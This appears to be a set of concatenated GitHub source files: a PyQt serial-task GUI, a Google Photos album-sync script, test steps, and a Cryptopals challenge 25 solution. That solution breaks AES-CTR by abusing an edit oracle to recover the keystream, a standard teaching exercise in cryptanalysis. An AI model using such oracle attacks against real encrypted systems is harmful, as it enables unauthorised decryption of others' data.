QtCore.pyqtSignal(str)\n resultValueReceived = QtCore.pyqtSignal(str, int)\n resultArrayReceived = QtCore.pyqtSignal(str, list)\n unknownResultReceived= QtCore.pyqtSignal(str)\n\n def __init__(self, parent=None, status=(), values=(), arrays=()):\n QtCore.QObject.__init__(self, parent=parent)\n self.status = list(status)\n self.values = list(values)\n self.arrays = list(arrays)\n\n def setSerialIO(self, serial):\n \"\"\"serial: the SerialIO instance.\"\"\"\n if serial is not None:\n serial.resultMessageReceived.connect(self.parseResult)\n\n def __parseSingleResult(self, token):\n token = token.strip()\n if debug == True:\n print(f\"token({token})\")\n for s in self.status:\n if debug == True:\n print(f\"testing status: {s}...\")\n if token == s:\n self.resultStatusReceived.emit(s)\n return\n for val in self.values:\n if debug == True:\n print(f\"testing value: {val}...\")\n try:\n if token.startswith(val):\n arg = int(token[len(val):])\n self.resultValueReceived.emit(val, arg)\n return\n except ValueError:\n print_exc()\n print(\"***error while parsing value '{}': {}\".format(val, token))\n return\n for arr in self.arrays:\n if debug == True:\n print(f\"testing array: {arr}...\")\n try:\n if token.startswith(arr):\n arg = token[len(arr):]\n if (arg[0] != '[') or (arg[-1] != ']'):\n continue\n args = arg[1:-1].split(',')\n arglist = []\n for elem in args:\n if len(elem.strip()) == 0:\n continue\n arglist.append(int(elem))\n self.resultArrayReceived.emit(arr, arglist)\n return\n except ValueError:\n print_exc()\n print(\"***error while parsing array '{}': {}\".format(arr, arg))\n return\n # no match\n self.unknownResultReceived.emit(token)\n\n def parseResult(self, line):\n self.beginParsing.emit()\n tokens = line[1:].split(protocol.DELIMITER)\n for token in tokens:\n self.__parseSingleResult(token)\n self.endParsing.emit()\n\nclass ResultStatsView(QtWidgets.QGroupBox):\n \"\"\"a display widget for summarizing the result status\"\"\"\n\n def __init__(self, summarized=(), rewarded=(), parent=None):\n \"\"\"summarized: the status messages that are to be counted,\n rewarded: the status messages that are to be counted as 'rewarded'.\"\"\"\n QtWidgets.QGroupBox.__init__(self, \"Result statistics\", parent=parent)\n self.summarized = list(summarized)\n self.rewarded = list(rewarded)\n self.rewardLabel = '(reward)'\n self.fields = OrderedDict()\n self.clearButton = QtWidgets.QPushButton(\"Clear\")\n self.clearButton.clicked.connect(self.clearCounts)\n\n self.layout = QtWidgets.QGridLayout()\n status = self.rewardLabel\n self.layout.addWidget(QtWidgets.QLabel(status), 0, 0)\n self.fields[status] = QtWidgets.QLabel(\"0\")\n self.layout.addWidget(self.fields[status], 1, 0)\n for i, status in enumerate(self.summarized):\n self.layout.addWidget(QtWidgets.QLabel(status), 0, i+1)\n self.fields[status] = QtWidgets.QLabel(\"0\")\n self.layout.addWidget(self.fields[status], 1, i+1)\n self.layout.addWidget(self.clearButton, 1, len(self.summarized)+1)\n self.setLayout(self.layout)\n\n def setResultParser(self, parser):\n parser.resultStatusReceived.connect(self.addStatus)\n\n def clearCounts(self):\n for field in self.fields.values():\n field.setText(\"0\")\n\n def __incrementField(self, field):\n prev = int(field.text())\n field.setText(str(prev+1))\n\n def addStatus(self, status):\n if status in self.summarized:\n self.__incrementField(self.fields[status])\n if status in self.rewarded:\n self.__incrementField(self.fields[self.rewardLabel])\n\nclass SessionView(pg.PlotWidget):\n \"\"\"an aligned multi-trial view, that is designed to show\n a complete set of trials during one session.\"\"\"\n\n resultStatusReceived = QtCore.pyqtSignal(int,str)\n resultArrayReceived = QtCore.pyqtSignal(int,str,list)\n refreshing = QtCore.pyqtSignal(object)\n\n plotted = False\n index = 0\n plotters = None\n\n def __init__(self, parent=None, xwidth=None, **kwargs):\n super().__init__(parent=parent, background='w', **kwargs)\n self.enableAutoRange(pg.ViewBox.YAxis)\n self.getPlotItem().invertY(True)\n if xwidth is not None:\n self.xwidth = xwidth\n self.plotters = []\n\n def __setattr__(self, name, value):\n if name == 'xwidth':\n self.setXRange(-value, value)\n else:\n super().__setattr__(name, value)\n\n def setResultParser(self, parser):\n parser.beginParsing.connect(self.initPlotting)\n parser.resultStatusReceived.connect(self.plotResultStatus)\n parser.resultArrayReceived.connect(self.plotResultArray)\n parser.endParsing.connect(self.finalizePlotting)\n\n def addPlotter(self, item):\n self.plotters.append(item)\n item.setView(self)\n\n def clearPlots(self):\n if debug == True:\n print(\"SessionView: clearPlots\")\n # to force-repaint the plots,\n # we first `clear` the plot items\n # and then urge the items to add themselves again\n # using the `refreshing` signal\n self.getPlotItem().clear()\n self.index = 0\n self.refreshing.emit(self)\n\n def initPlotting(self):\n self.plotted = False\n\n def finalizePlotting(self):\n if self.plotted == True:\n self.index += 1\n\n def plotResultStatus(self, status):\n self.resultStatusReceived.emit(self.index, status)\n\n def plotResultArray(self, name, values):\n if self.plotted == True:\n self.resultArrayReceived.emit(self.index, name, values)\n\n def scheduleFurtherPlotting(self):\n self.plotted = True\n\nclass StatusPlotItem(pg.ScatterPlotItem):\n \"\"\"the class used for plotting result status\"\"\"\n acceptStatus = QtCore.pyqtSignal()\n\n def __init__(self, colormappings, markersize=5, align='origin', parent=None):\n \"\"\"colormappings: (status, color) dictionary\n align: currently only allows 'origin'\n \"\"\"\n pg.ScatterPlotItem.__init__(self, parent=parent)\n self.penmapping = {}\n self.brushmapping = {}\n self.setSize(markersize)\n for status, value in colormappings.items():\n self.penmapping[status] = pg.mkPen(color=value)\n self.brushmapping[status] = pg.mkBrush(color=value)\n\n def setView(self, view):\n \"\"\"currently only SessionView is supported\"\"\"\n view.addItem(self)\n view.resultStatusReceived.connect(self.addResultStatus)\n view.refreshing.connect(self.clearWithView)\n self.acceptStatus.connect(view.scheduleFurtherPlotting)\n\n def clearWithView(self, view):\n if debug == True:\n print(f\"StatusPlotItem: clear\")\n self.clear()\n view.addItem(self)\n\n def addResultStatus(self, index, status):\n if debug == True:\n print(f\"addResultStatus({index}, {status})\")\n if status in self.penmapping.keys():\n self.addPoints(x=(0,), y=(index,),\n pen=self.penmapping[status],\n brush=self.brushmapping[status])\n self.acceptStatus.emit()\n\nclass ArrayPlotItem(QtCore.QObject):\n \"\"\"the class used for plotting result array items\"\"\"\n\n def __init__(self, colormappings, markersize=5, parent=None):\n \"\"\"colormappings: (name, color) dictionary\"\"\"\n QtCore.QObject.__init__(self, parent=parent)\n self.plotters = {}\n for name, value in colormappings.items():\n plotter = pg.ScatterPlotItem()\n plotter.setPen(pg.mkPen(color=value))\n plotter.setBrush(pg.mkBrush(color=value))\n plotter.setSize(markersize)\n self.plotters[name] = plotter\n\n def setView(self, view):\n \"\"\"currently only SessionView is supported\"\"\"\n for plotter in self.plotters.values():\n view.addItem(plotter)\n view.resultArrayReceived.connect(self.addResultArray)\n view.refreshing.connect(self.clearWithView)\n\n def clearWithView(self, view):\n if debug == True:\n print(f\"ArrayPlotItem: clear\")\n for plotter in self.plotters.values():\n plotter.clear()\n view.addItem(plotter)\n\n def addResultArray(self, index, name, values):\n if debug == True:\n print(f\"addResultArray({index}, {name})\")\n if name in self.plotters.keys():\n self.plotters[name].addPoints(x=values, y=(index,)*len(values))\n\nclass LoggerUI(QtWidgets.QGroupBox):\n \"\"\"a class that handles generation of (and writing to) the log file.\"\"\"\n statusChanged = QtCore.pyqtSignal(bool)\n loggers = {}\n\n @classmethod\n def get(cls, name, label=None, fmt=\"{}_%Y-%m-%d_%H%M%S.log\"):\n \"\"\"used for sharing the log file.\"\"\"\n if name not in cls.loggers.keys():\n cls.loggers[name] = cls(name, label=label, fmt=fmt)\n return cls.loggers[name]\n\n @classmethod\n def echo(cls, line):\n \"\"\"used in the 'echo' feature, where all the messages\n from the device show up on the standard output.\"\"\"\n print(line, flush=True)\n\n def __init__(self, name, label=None, fmt=\"{}_%Y-%m-%d_%H%M%S.log\", parent=None):\n if label is None:\n label = \"'{}' log file\".format(name)\n QtWidgets.QGroupBox.__init__(self, label, parent=parent)\n self.name = name\n self.baseformat = fmt.format(self.name)\n self.logfile = None\n self.fileinfo = None\n self.label = QtWidgets.QLabel(\"Format: \")\n self.field = QtWidgets.QLineEdit(self.baseformat)\n self.button = QtWidgets.QPushButton(\"New\")\n self.hbox = QtWidgets.QHBoxLayout()\n self.hbox.addWidget(self.label)\n self.hbox.addWidget(self.field)\n self.hbox.addWidget(self.button)\n self.setLayout(self.hbox)\n self.button.clicked.connect(self.renew)\n mainapp.aboutToQuit.connect(self.close)\n\n @staticmethod\n def printStatus(line):\n \"\"\"a proxy to print the status into the standard output.\"\"\"\n print(line)\n\n def attachSerialIO(self, serial):\n \"\"\"connects this LoggerUI to a SerialIO.\"\"\"\n serial.messageReceived.connect(self.log)\n\n def attachNoteUI(self, note):\n \"\"\"connects this LoggerUI to a NoteUI.\"\"\"\n self.statusChanged.connect(note.setEnabled)\n note.runningNoteAdded.connect(self.log)\n\n def close(self):\n \"\"\"closes the log file that is currently open.\n does nothing if there is no open file.\"\"\"\n if self.logfile is not None:\n self.logfile.close()\n LoggerUI.printStatus(\"{}closed: {}\".format(protocol.OUTPUT, self.fileinfo))\n self.logfile = None\n self.fileinfo = None\n\n def renew(self):\n self.close()\n fmt = self.field.text().strip()\n if len(fmt) == 0:\n fmt = self.baseformat\n elif not fmt[-4:] in (\".txt\", \".log\"):\n fmt += \".log\"\n now = datetime.now()\n newname = now.strftime(fmt)\n self.fileinfo = QtWidgets.QFileDialog.getSaveFileName(self,\n \"New log file...\",\n newname,\n \"Log file (*.txt, *.log)\")\n if len(self.fileinfo[0]) == 0:\n self.statusChanged.emit(False)\n else:\n self.fileinfo = self.fileinfo[0]\n self.logfile = open(self.fileinfo, 'w')\n self.statusChanged.emit(True)\n\n def logStatusChange(self, value):\n if value == True:\n print(\"{}opened: {}\".format(protocol.OUTPUT, self.fileinfo))\n else:\n print(\"{}no log file is attached\".format(protocol.OUTPUT))\n\n def log(self, line):\n \"\"\"writes a line to the log file.\n warns if there is no open file.\"\"\"\n if self.logfile is not None:\n print(line, file=self.logfile, flush=True)\n else:\n print(\"{}no log file is open\".format(protocol.ERROR), flush=True)\n\nclass TaskWidget(QtWidgets.QWidget):\n \"\"\"a widget that is used to control the task.\n intended to be automatically generated from a model.Task instance.\"\"\"\n\n name = \"task\"\n status = None\n serial = None\n modes = None\n configs = None\n actions = None\n loggers = None\n result = None\n views = None\n features = None\n\n clearPlot = None\n quitApp = None\n\n def __init__(self, name=\"task\", parent=None):\n QtWidgets.QWidget.__init__(self, parent=parent)\n self.name = name\n self.status = QtWidgets.QLabel()\n self.quitPrompt = QtWidgets.QMessageBox(self)\n self.quitPrompt.setIcon(QtWidgets.QMessageBox.Warning)\n self.quitPrompt.setText(\"Are you sure you want to quit?\")\n \n\n def updateStatus(self, line):\n \"\"\"updates the status in response to the line.\"\"\"\n # TODO: use better formatting as in WhiskingExplorationGUI\n limit = 50\n if len(line) > limit:\n line = line[:limit] + \"...\"\n self.status.setText(line)\n\n def promptQuit(self):\n \"\"\"ask user whether or not to quit the app.\"\"\"\n ret = QtWidgets.QMessageBox.warning(self,\n \"About to quit\",\n \"Are you sure you want to quit?\",\n QtWidgets.QMessageBox.No | QtWidgets.QMessageBox.Yes,\n QtWidgets.QMessageBox.Yes)\n if ret == QtWidgets.QMessageBox.Yes:\n mainapp.quit()\n\n def __layout(self):\n \"\"\"lays out its components in a new QVBoxLayout.\"\"\"\n layout = QtWidgets.QVBoxLayout()\n isempty = True\n\n # add SerialIO\n if self.serial is not None:\n layout.addWidget(self.serial)\n isempty = False\n\n # add status bar\n if self.status is not None:\n layout.addWidget(self.status)\n isempty = False\n\n # add raw command UI (if any)\n if 'raw' in self.features.keys():\n layout.addWidget(self.features['raw'])\n isempty = False\n\n # add ModeConfigUI\n if self.modes is not None:\n if isempty == False:\n layout.addWidget(HorizontalSeparator())\n modeLayout = QtWidgets.QHBoxLayout()\n modeHeader = QtWidgets.QLabel(\"Mode: \")\n modeHeader.setEnabled(False)\n self.serial.serialStatusChanged.connect(modeHeader.setEnabled)\n modeLayout.addWidget(modeHeader)\n modeLayout.addWidget(self.modes)\n layout.addLayout(modeLayout)\n\n # add LineConfigUI's\n if len(self.configs) == 0:\n pass\n elif len(self.configs) == 1:\n if isempty == False:\n layout.addWidget(HorizontalSeparator())\n isempty = False\n configLayout = QtWidgets.QFormLayout()\n for group in self.configs.values():\n for config in group.values():\n configLayout.addRow(config.label, config.editor)\n layout.addLayout(configLayout)\n else:\n if isempty == False:\n layout.addWidget(HorizontalSeparator())\n isempty = False\n configWidget = QtWidgets.QTabWidget()\n for groupname in self.configs.keys():\n page = QtWidgets.QWidget()\n pageLayout = QtWidgets.QFormLayout()\n for config in self.configs[groupname].values():\n pageLayout.addRow(config.label, config.editor)\n page.setLayout(pageLayout)\n configWidget.addTab(page, groupname)\n layout.addWidget(configWidget)\n\n # add actions\n if len(self.actions) > 0:\n if isempty == False:\n layout.addWidget(HorizontalSeparator())\n isempty = False\n repeatables = [action for action in self.actions.values() if isinstance(action, RepeatUI)]\n singles = [action for action in self.actions.values() if isinstance(action, ActionUI)]\n for repeatable in repeatables:\n layout.addWidget(repeatable)\n\n if len(singles) > 0:\n singlesLayout = QtWidgets.QHBoxLayout()\n singlesLayout.addStretch()\n for single in singles:\n singlesLayout.addWidget(single)\n layout.addLayout(singlesLayout)\n\n # add 'stats' view\n if (self.result is not None) and ('stats' in self.views.keys()):\n isempty = False\n layout.addWidget(self.views['stats'])\n\n # add noteUI (if any)\n if 'note' in self.features.keys():\n isempty = False\n layout.addWidget(self.features['note'])\n\n # add loggers\n if len(self.loggers) == 0:\n pass\n elif len(self.loggers) == 1:\n isempty = False\n for logger in self.loggers.values():\n layout.addWidget(logger)\n else:\n isempty = False\n for name, logger in self.loggers.items():\n box = QtWidgets.QGroupBox(name)\n boxLayout = QtWidgets.QVBoxLayout()\n boxLayout.addWidget(logger)\n box.setLayout(boxLayout)\n layout.addWidget(box)\n\n surrounding = QtWidgets.QGridLayout()\n surrounding.addLayout(layout, 0, 0)\n ncol = 1\n \n # add sessionview (if any)\n if (self.result is not None) and ('session' in self.views.keys()):\n ncol = 2\n if self.clearPlot is not None:\n self.clearPlot.setEnabled(True)\n self.clearPlot.clicked.connect(self.views['session'].clearPlots)\n surrounding.addWidget(self.views['session'], 0, 1)\n surrounding.setColumnStretch(1, 2)\n\n if 'control' in self.features.keys():\n surrounding.addLayout(self.features['control'], 1, 0, 1, 2)\n self.setLayout(surrounding)\n\n @staticmethod\n def fromTask(model, serialclient='leonardo', baud=9600):\n \"\"\"generates a (connected) UI from the given model.Task instance.\"\"\"\n if isinstance(serialclient, str):\n clienttype = serialclient.lower()\n if clienttype == 'leonardo':\n clienttype = client.Leonardo\n elif clienttype == 'uno':\n clienttype = client.Uno\n else:\n raise ValueError(\"unknown client type: \"+serialclient)\n serialclient = clienttype\n\n widget = TaskWidget(name=model.name)\n # add SerialIO UI\n widget.serial = SerialIO(serialclient=serialclient, baud=baud,\n label=\"device for '{}': \".format(model.name))\n widget.serial.messageReceived.connect(widget.updateStatus)\n # add NoteUI\n widget.features = OrderedDict()\n if 'note' in model.features:\n widget.features['note'] = NoteUI()\n widget.features['note'].setEnabled(False)\n # set \"echo\" feature\n if 'echo' in model.features:\n widget.serial.messageReceived.connect(LoggerUI.echo)\n if 'raw' in model.features:\n widget.features['raw'] = RawCommandUI()\n widget.features['raw'].setEnabled(False)\n widget.features['raw'].setSerialIO(widget.serial, output=True)\n\n # set \"control\" feature\n widget.clearPlot = QtWidgets.QPushButton(\"Clear plots\")\n widget.clearPlot.setEnabled(False)\n widget.quitApp = QtWidgets.QPushButton(\"Quit\")\n widget.quitApp.clicked.connect(widget.promptQuit)\n if 'control' in model.features:\n controlbox = QtWidgets.QHBoxLayout()\n controlbox.addStretch()\n controlbox.addWidget(widget.clearPlot)\n controlbox.addWidget(widget.quitApp)\n widget.features['control'] = controlbox\n\n # add ModeConfigUI\n if len(model.modes) > 0:\n widget.modes = ModeConfigUI(model.modes)\n widget.modes.setSerialIO(widget.serial, output=True)\n\n # add LineConfigUI's\n widget.configs = OrderedDict()\n for name, config in model.configs.items():\n if config.group not in widget.configs.keys():\n widget.configs[config.group] = OrderedDict()\n uiobj = LineConfigUI(config.label, config.command)\n uiobj.setSerialIO(widget.serial, output=True)\n widget.configs[config.group][name] = uiobj\n\n # add Actions\n widget.actions = OrderedDict()\n for name, action in model.actions.items():\n uitype = RepeatUI if action.repeats == True else ActionUI\n uiobj = uitype(action.label, action.command, returns=action.returns,\n criteria=action.criteria, strict=action.strict)\n uiobj.setSerialIO(widget.serial, output=True)\n widget.actions[name] = uiobj\n\n # add ResultParser\n if model.result is not None:\n widget.result = ResultParser(**(model.result.as_dict()))\n widget.result.setSerialIO(widget.serial)\n widget.views = OrderedDict()\n\n # add view(s)\n if 'stats' in model.views.keys():\n widget.views['stats'] = ResultStatsView(**model.views['stats'])\n widget.views['stats'].setResultParser(widget.result)\n if 'session' in model.views.keys():\n items = model.views['session'].get('items', ())\n xwidth = model.views['session'].get('xwidth', None)\n view = SessionView(xwidth=xwidth)\n for item in items:\n if isinstance(item, StatusPlot):\n plotter = StatusPlotItem(item.colormappings,\n markersize=item.markersize,\n align=item.align)\n view.addPlotter(plotter)\n elif isinstance(item, ArrayPlot):\n plotter = ArrayPlotItem(item.colormappings,\n markersize=item.markersize)\n view.addPlotter(plotter)\n else:\n print(\"***unknown plotter type: {}\".format(type(item)))\n view.setResultParser(widget.result)\n widget.views['session'] = view\n\n else:\n widget.result = None\n\n # add loggerUI\n widget.loggers = OrderedDict()\n for name, logger in model.loggers.items():\n uiobj = LoggerUI.get(logger.name, label=logger.label, fmt=logger.fmt)\n uiobj.attachSerialIO(widget.serial)\n if 'note' in model.features:\n uiobj.attachNoteUI(widget.features['note'])\n widget.loggers[name] = uiobj\n\n widget.__layout()\n return widget\n\nfromTask = TaskWidget.fromTask\n","repo_name":"gwappa/python-ublock","sub_path":"ublock/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":44524,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"29479507200","text":"import hashlib\nimport os\nfrom dotenv import load_dotenv\nfrom gphotospy import authorize\nfrom gphotospy.album import *\nfrom gphotospy.media import Media, MediaItem\nfrom sqlalchemy import create_engine, select, update, func,desc\nfrom sqlalchemy.orm import Session, sessionmaker\nfrom sqlalchemy.inspection import inspect\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.ext.automap import automap_base\nimport sqlalchemy as sa\nfrom datetime import datetime\nimport logging\nimport time\nfrom pathvalidate import sanitize_filename\nfrom shutil import copyfile\nimport pathlib\nfrom os.path import exists\nimport requests\nimport command\nimport glob\nfrom dateutil import parser\nimport exifread\nimport config\n\nfrom config import db_PhotoArchive, db_Albums, db_Photos, db_JobControl, local_engine, picasa_pics\nfrom config import CLIENT_SECRET_FILE, TAKEOUT_PATH, S10_BACKUP_PATH, PICASA_BACKUP_PATH, GOOGLE_DOWNLOAD_RESULTS_PATH, COPY_TARGET_FOLDER_PATH\nfrom config import GOOGLE_TAKEOUT_REWORK_TEXT\nfrom config import STR_REFRESH_PICS_META_FROM_GOOGLE, STR_REFRESH_PHOTOS_FILE_PATH, STR_COPY_TO_TARGET_FOLDERS, STR_PHOTO_PRISM_CREATE_ALBUM\nfrom Step3_MatchPhotos import copy_archive_to_photos\nfrom config import get_archive_by_source, Archive,ALBUM_SOURCE_GOOGLE\nimport json\n\n# Instead of building album from Google, look at folder in photo_archive database as baseline\n# No matching is needed, photos are added 1:1 to album, for picasa album, only photos with \"star\" are added\n\n\ndef refresh_albums_from_folders(source):\n archive=get_archive_by_source(source)\n\n print(\"\\n\\n** Refresh Albums from Folder for Source: \"+archive.source_name)\n\n session = Session(local_engine)\n\n album_titles = session.query(db_PhotoArchive.album_name.distinct()).\\\n filter(db_PhotoArchive.source == archive.source_name,db_PhotoArchive.media_type=='image/jpeg').all()\n\n for album_title_tmp in album_titles:\n album_title=album_title_tmp[0]\n\n db_album = session.execute(select(db_Albums).filter(db_Albums.title == album_title).\n filter(db_Albums.album_source == archive.album_source)).scalar()\n if not db_album:\n\n print(\" New: \\t\" + album_title)\n db_album = db_Albums(title=album_title, album_status=None, album_source=archive.album_source, google_id=0)\n else:\n print(\" Old: \\t\" + album_title)\n\n session.add(db_album)\n\n # loop over all photos in archive with this title and add as photo to album\n\n stm_find_photos_star = select(db_PhotoArchive).filter(db_PhotoArchive.album_name == album_title,\n db_PhotoArchive.source == archive.source_name,\n db_PhotoArchive.b_picasa_star == True).order_by(db_PhotoArchive.taken_at)\n\n stm_find_photos_no_star = select(db_PhotoArchive).filter(db_PhotoArchive.album_name == album_title,\n db_PhotoArchive.source == archive.source_name).order_by(db_PhotoArchive.taken_at)\n\n if archive.source_format== config.SOURCE_FORMAT_PICASA:\n stm_find_photos=stm_find_photos_star\n if session.execute(stm_find_photos).scalar() is None:\n stm_find_photos =stm_find_photos_no_star\n else:\n stm_find_photos =stm_find_photos_no_star\n\n photo_seq=1\n for db_my_archive in session.scalars(stm_find_photos):\n\n #check if already added\n photo_find_stmt = select(db_Photos).filter(db_Photos.album_id == db_album.id,db_Photos.photo_archive_id == db_my_archive.id)\n\n if not session.execute(photo_find_stmt).scalar():\n\n db_my_photo = db_Photos(\n filename=db_my_archive.filename,\n created_at= datetime.now(),\n album_id=db_album.id,\n photo_seq=photo_seq\n )\n\n copy_archive_to_photos(db_my_photo, db_my_archive)\n db_my_photo.taken_at = db_my_archive.taken_at\n db_my_photo.taken_at_local_time =db_my_archive.taken_at_local_time ##assuming from folder local time is correct\n\n session.add(db_my_photo)\n\n photo_seq=photo_seq+1\n print('.', end='')\n else:\n print('d', end='')\n session.commit()\n\n # Update Album Information\n db_tmp_album= session.query(db_Albums).get(db_album.id)\n first_album_photo= config.get_albums_first_photo(session, db_album)\n\n db_tmp_album.cover_filename=first_album_photo.filename\n db_tmp_album.cover_photo_id=first_album_photo.id\n db_tmp_album.taken_at=first_album_photo.taken_at\n db_tmp_album.created_at=datetime.now()\n db_tmp_album.photos_count = session.execute(select(func.count()).filter(db_Photos.album_id == db_album.id)).scalar()\n session.add(db_tmp_album)\n\n session.commit()\n\n # Update Album_seq will not be updated for folders\n\n session.commit()\n session.close()\n\n# running to catch up with any change in google-album\ndef refresh_albums_from_google():\n service = authorize.init(CLIENT_SECRET_FILE)\n album_manager = Album(service)\n media_manager = Media(service)\n album_iterator = album_manager.list()\n\n # *************************************************************************************\n # Step-1: Read all Albums meta information from Google Photos\n # Album_Status: N = New Album\n # Album_Status: U = Album information updated\n # *************************************************************************************\n\n print(\"\\n\\n** Refresh Albums from Google **\")\n session = Session(local_engine)\n session.execute(update(db_Albums).values(album_seq=None))\n\n album_seq = 1\n for album in album_iterator:\n\n # check if album already exits\n\n album_find_stmt = select(db_Albums).filter(db_Albums.google_id == album['id'],db_Albums.album_source==ALBUM_SOURCE_GOOGLE)\n\n coverFileName = media_manager.get(album['coverPhotoMediaItemId'])['filename']\n\n if not session.execute(album_find_stmt).first():\n print(\" New: \\t\" + album.get(\"title\"))\n my_album = db_Albums(google_id=album.get('id'),\n title=album.get(\"title\"),\n cover_filename=coverFileName,\n photos_count=album.get(\"mediaItemsCount\"),\n album_status='U',\n album_seq=album_seq,\n album_source=ALBUM_SOURCE_GOOGLE,\n created_at=datetime.now())\n\n session.add(my_album)\n\n else:\n\n my_album = session.execute(album_find_stmt).first()[0]\n if ((my_album.title != album.get(\"title\")) or\n (my_album.photos_count != int(album.get(\"mediaItemsCount\"))) or\n (my_album.cover_filename != coverFileName)):\n\n my_album.album_status = 'U'\n\n if my_album.cover_filename != coverFileName:\n my_album.cover_change_status = 'U'\n\n print(\" Updated\" + \" (\" + (my_album.cover_change_status or \"N\") + \"):\\t\" + album.get(\"title\"))\n else:\n print(\" NoChange: \\t\" + album.get(\"title\"))\n\n my_album.album_seq = album_seq\n my_album.title = album.get(\"title\")\n my_album.photos_count = album.get(\"mediaItemsCount\")\n my_album.cover_filename = coverFileName\n my_album.updated_at=datetime.now()\n\n session.add(my_album)\n\n album_seq = album_seq + 1\n\n session.commit()\n session.close()\n\n # *************************************************************************************\n # Step2: Read all pics meta information from Google Photos based on downloaded albums\n # Photo_Status: U - photos was updated and needs to be matched\n # Creates Photo_Seq according to downloaded order from Google Photos\n # *************************************************************************************\n\n print(\"\\n\\n** Refresh Fotos **\")\n session = Session(local_engine)\n\n session.execute(update(db_Photos).values(photo_seq=None))\n\n# for db_Album in session.scalars(select(db_Albums).where(db_Albums.album_status != 'D')):\n for db_Album in session.scalars(select(db_Albums).filter(db_Albums.album_status == 'U', db_Albums.album_source == ALBUM_SOURCE_GOOGLE)):\n #if db_Album.title!='Test03': continue\n print(\"Title: \" + db_Album.title)\n photo_iterator = media_manager.search_album(db_Album.google_id)\n photo_seq = 1\n\n db_Album.album_status = None\n session.add(db_Album)\n\n for photo in photo_iterator:\n album_id = db_Album.id\n\n # check if foto is already existing\n foto_find_stmt = select(db_Photos).where(db_Photos.album_id == album_id).where(db_Photos.google_id == photo['id'])\n if not session.execute(foto_find_stmt).first():\n\n media_type = photo.get('mediaMetadata').get('photo')\n\n camera = None\n if media_type:\n camera = media_type.get('cameraModel')\n\n db_photo = db_Photos(\n album_id=db_Album.id,\n google_id=photo['id'],\n filename=photo['filename'],\n media_type=photo['mimeType'],\n camera=camera,\n photo_seq=photo_seq,\n photo_status='U',\n taken_at=datetime.strptime(photo['mediaMetadata']['creationTime'], \"%Y-%m-%dT%H:%M:%SZ\"),\n taken_at_local_time=False,\n created_at=datetime.now())\n\n\n print(\"\\tNew:\"+db_photo.filename)\n\n else:\n db_photo = session.execute(foto_find_stmt).first()[0]\n db_photo.photo_seq = photo_seq\n db_photo.photo_status = 'U' # we allways try to match all photos, might be improved in future\n\n session.add(db_photo)\n photo_seq = photo_seq + 1\n\n # Delete 'deleted' albums and photos - not having a sequence anymore\n sq = select(db_Albums.id).where(db_Albums.album_seq == None)\n session.execute(update(db_Photos).where(db_Photos.album_id.in_(sq)).values(photo_status='D').execution_options(synchronize_session=\"fetch\"))\n\n session.execute(update(db_Albums).where(db_Albums.album_seq == None).values(album_status='D'))\n session.commit()\n session.close()\n","repo_name":"happychriss/MyPics","sub_path":"Step2_RefreshAlbums.py","file_name":"Step2_RefreshAlbums.py","file_ext":"py","file_size_in_byte":10710,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"43377523849","text":"# Break \"random access read/write\" AES CTR\n\nimport base64\n\nfrom set3.challenge18 import aes_encrypt_ctr\nfrom set3.challenge18 import aes_decrypt_ctr\nfrom set3.challenge18 import increment_counter\nfrom set2.challenge12 import randKey\nfrom set1.challenge7 import aes_decrypt_ecb\nfrom set1.challenge7 import aes_encrypt_block\nfrom set1.challenge2 import fixed_xor\n\ndef edit(ciphertext, key, offset, newtext):\n fixed_nounce = b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n nounce = bytearray(reversed(fixed_nounce))\n counter = bytearray(\"\".join([\"\\x00\"]*8).encode())\n output = bytearray()\n\n nbBlock, remaining = int((offset%16)/16), offset%16\n\n for i in range(nbBlock):\n stream_key = nounce + counter\n increment_counter(counter)\n if remaining != 0 or nbBlock == 0:\n stream_key = nounce + counter\n increment_counter(counter)\n\n encrypted_stream_key = aes_encrypt_block(key, stream_key)[remaining:]\n print(len(encrypted_stream_key)) # 16\n while len(newtext) > len(encrypted_stream_key):\n stream_key = nounce + counter\n increment_counter(counter)\n encrypted_stream_key.extend(aes_encrypt_block(key, stream_key))\n # Read part\n # with \"to_read\" the number of bytes to read\n #original_plaintext = fixed_xor(encrypted_stream_key[:len(to_read)], ciphertext[offset:])\n #return original_plaintext\n ciphertext = bytearray(ciphertext)\n ciphertext[offset:offset+len(newtext)] = fixed_xor(encrypted_stream_key, newtext)\n return ciphertext\n\nif __name__ == \"__main__\":\n with open(\"set4/25.txt\") as f:\n b64_data = f.read()\n msg = base64.b64decode(b64_data)\n key = b\"YELLOW SUBMARINE\"\n decrypted = aes_decrypt_ecb(key, msg)\n const_key = randKey()\n fixed_nounce = b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n encrypted = aes_encrypt_ctr(const_key, decrypted, fixed_nounce)\n len(encrypted)\n attacker_encrypted = edit(encrypted, const_key, 0, b\"\\x00\"*len(encrypted))\n guessed_stream_key = attacker_encrypted\n decrypted = fixed_xor(encrypted, guessed_stream_key)\n print(decrypted.decode())\n","repo_name":"BBazard/cryptopals_challenges","sub_path":"set4/challenge25.py","file_name":"challenge25.py","file_ext":"py","file_size_in_byte":2088,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"23139056052","text":"from behave import *\r\nimport requests\r\n\r\n\r\n@given('a shot at {x},{y}')\r\ndef step_impl(context, x, y):\r\n payload = {\r\n 'x': int(x),\r\n 'y': int(y),\r\n }\r\n context.response = context.session.put(\r\n context.request_url,\r\n json=payload\r\n )\r\n","repo_name":"ahmedelfateh/battleship_challenge","sub_path":"features/steps/battleship_steps.py","file_name":"battleship_steps.py","file_ext":"py","file_size_in_byte":275,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"24739643721","text":"'''Reverse Polish Notation'''\n\n#!/usr/bin/env python3\n\n\nclass Stack:\n '''Stack implementation'''\n def __init__(self):\n self._items = []\n def is_empty(self):\n return self._items == []\n def size(self):\n return len(self._items)\n def push(self, new_item):\n self._items.append(new_item)\n def pop(self):\n return self._items.pop()\n def peek(self):\n return self._items[-1]\n\n\nclass StackError(Exception):\n '''Stack errors'''\n def __init__(self, *args, **kwargs):\n Exception.__init__(self, *args, **kwargs)\n\nclass TokenError(Exception):\n '''Token 